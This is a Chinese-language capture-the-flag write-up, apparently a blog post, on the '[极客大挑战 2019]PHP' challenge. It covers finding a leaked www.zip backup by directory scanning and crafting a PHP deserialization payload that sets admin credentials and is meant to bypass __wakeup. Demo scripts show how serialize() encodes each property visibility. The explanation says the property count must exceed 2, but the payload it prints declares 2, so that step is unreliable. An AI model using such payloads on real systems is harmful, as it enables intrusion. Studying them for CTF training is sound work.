• [极客大挑战 2019]PHP 1


    一进去 我一看

    很强的前端页面 可惜是老外做的

     已经提示了 存在网站备份文件 然后我就开始找了 

    .git .svn .DS_store  .hg 都不存在泄露 

    找 .index.php.swp  index.php.bak  也不存在

    不找了 开始 目录扫描  dirsearch 

    扫了 没找到

    换个  用 dirmap

    找到了

     www.zip 很敏感 一看就知道是备份

     访问后下载

    可以看到 所有源码

    尝试提交 失败  因为这是个假的flag

    查看网页 源码

    发现 包含 class.php

    再看 class.php

    存在2个敏感函数 _wake() 和  _destruct()

    _wake()函数意味着我们要构造的变量数大于原来的变量 

    _destruct()函数相当于 给了我们构造要满足的条件  

    这里 需要满足 username=admin  password=100

    还需知道的致死点为  :

    public 权限变量 构造 序列化  可 直接 s:8:"username";s:5:"admin" 这样 

    而 protected 权限变量   需要  s:11:"%00*%00username";s:5:"admin";

    private 权限变量 需要 s:14:"%00Name%00username";s:5:"admin";

    一般 自己多用 serialize函数 就能了解 序列化字符串 是怎么构造的

    构造可以分为 php 脚本自动构造  和手工构造 

    这里 我直接手工  不是很难的 一般都是手工

    payload:     O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    注意 index.php 里面写了用 select进行传参
    所以 index.php?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    实验 

    O 为类的对象  一般表示类名

    这里为Name

     构造的变量数只要大于2就好  因为你之前构造好的 变量就是 2  分别为username  和 password  这里大于二主要是为了 绕 _wake()

    测试结果:

    protected修饰变量,运行后回显代码内注释内容

    1.  
      <?php
    2.  
      class Name{
    3.  
      protected $username = 'nonono';看这两行
    4.  
      protected $password = 'yesyes';
    5.  
       
    6.  
      public function __construct($username,$password){
    7.  
      $this->username = $username;
    8.  
      $this->password = $password;
    9.  
      }
    10.  
      }
    11.  
       
    12.  
      $a = new Name('admin',100);
    13.  
      $b=serialize($a);
    14.  
      echo $b;
    15.  
      //看这看这看这看这!!!!!!!!!
    16.  
      //运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
    17.  
      ?>

    public修饰变量,运行后回显代码内注释内容

    1.  
      <?php
    2.  
      class Name{
    3.  
      public $username = 'nonono';
    4.  
      public $password = 'yesyes';
    5.  
       
    6.  
      public function __construct($username,$password){
    7.  
      $this->username = $username;
    8.  
      $this->password = $password;
    9.  
      }
    10.  
      }
    11.  
       
    12.  
      $a = new Name('admin',100);
    13.  
      $b=serialize($a);
    14.  
      echo $b;
    15.  
      //O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
    16.  
      ?>

     private修饰变量,运行后回显代码内注释内容

    1.  
      <?php
    2.  
      class Name{
    3.  
      private $username = 'nonono';
    4.  
      private $password = 'yesyes';
    5.  
       
    6.  
      public function __construct($username,$password){
    7.  
      $this->username = $username;
    8.  
      $this->password = $password;
    9.  
      }
    10.  
      }
    11.  
       
    12.  
      $a = new Name('admin',100);
    13.  
      $b=serialize($a);
    14.  
      echo $b;
    15.  
      //O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
    16.  
      ?>

     序列化的字符串 以 空白隔开  反序列化可用%00代替 或者 \0

    这里 \0有点问题 

    over-------------------+

    欢迎关注我的私人博客: https://arg1nt.gitee.io/2021/03/01/go/#more
  • 相关阅读:
    STL之rb_tree的find函数
    Ruby对象、变量和常量
    Welcome to the Real World
    Git经常使用命令
    Android休眠唤醒机制简介(一)【转】
    DirectFB学习之移植到nuc972平台 标签: DirectFBlinux图形加速驱动【转】
    Buildroot构建指南——工具链【转】
    深入浅出
    android 添加一个按键键值【转】
    Android系统升级那些事儿【转】
  • 原文地址:https://www.cnblogs.com/Arg1nt/p/14119876.html
Copyright © 2020-2023  润新知